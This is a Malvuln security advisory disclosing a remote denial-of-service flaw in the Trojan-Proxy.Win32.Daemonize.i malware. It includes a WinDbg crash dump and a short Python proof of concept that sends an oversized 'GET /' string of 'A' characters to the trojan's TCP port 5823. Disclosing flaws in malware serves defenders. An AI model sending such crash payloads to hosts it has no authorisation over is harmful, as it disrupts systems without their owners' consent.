Trojan-Proxy.Win32.Daemonize.i malware suffers from a denial of service vulnerability.
0543f0e49422f6ff16be36b260dba3c0Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/61bec9f22a5955e076e0d5ddf6232f3f.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Proxy.Win32.Daemonize.i
Vulnerability: Remote Denial of Service
Description: Daemonize.i listens on TCP port 5823, sending some junk packets to the trojan results in invalid pointer read leading to an access violation and crash.
Type: PE32
MD5: 61bec9f22a5955e076e0d5ddf6232f3f
Vuln ID: MVID-2021-0102
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/19/2021
Memory Dump:
(f0.1ba4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=00000003 edi=00000003
eip=7710ed3c esp=02a0f38c ebp=02a0f51c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:001> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
00402fea f2ae repne scas byte ptr es:[edi]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00402fea (Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x00002fea)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000003
Attempt to read from address 00000003
PROCESS_NAME: Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 00000003
READ_ADDRESS: 00000003
FOLLOWUP_IP:
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
00402fea f2ae repne scas byte ptr es:[edi]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001ba4
BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff
PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff
LAST_CONTROL_TRANSFER: from 76198654 to 00402fea
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
02a0ff80 76198654 02b70e50 76198630 6e5e2d5f Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea
02a0ff94 77104a77 02b70e50 e89bd1a1 00000000 kernel32!BaseThreadInitThunk+0x24
02a0ffdc 77104a47 ffffffff 77129eca 00000000 ntdll!__RtlUserThreadStart+0x2f
02a0ffec 00000000 00401937 02b70e50 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~1s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f
IMAGE_NAME: Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 3fdf5a56
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_Trojan-Proxy.Win32.Daemonize.i.61bec9f22a5955e076e0d5ddf6232f3f.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+2fea
Followup: MachineOwner
---------
0:001> .ecxr
eax=00000000 ebx=00000000 ecx=ffffffff edx=00000003 esi=02b72538 edi=00000003
eip=00402fea esp=02a0fcc8 ebp=02a0ff80 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
Trojan_Proxy_Win32_Daemonize_i_61bec9f22a5955e076e0d5ddf6232f3f+0x2fea:
00402fea f2ae repne scas byte ptr es:[edi]
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=5823
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
P="GET /"+"A"*2000
s.send(P)
s.close()
print("Trojan-Proxy.Win32.Daemonize.i / Remote Denial of Service")
print("MD5: 61bec9f22a5955e076e0d5ddf6232f3f")
print("By Malvuln");
if __name__=="__main__":
doit()
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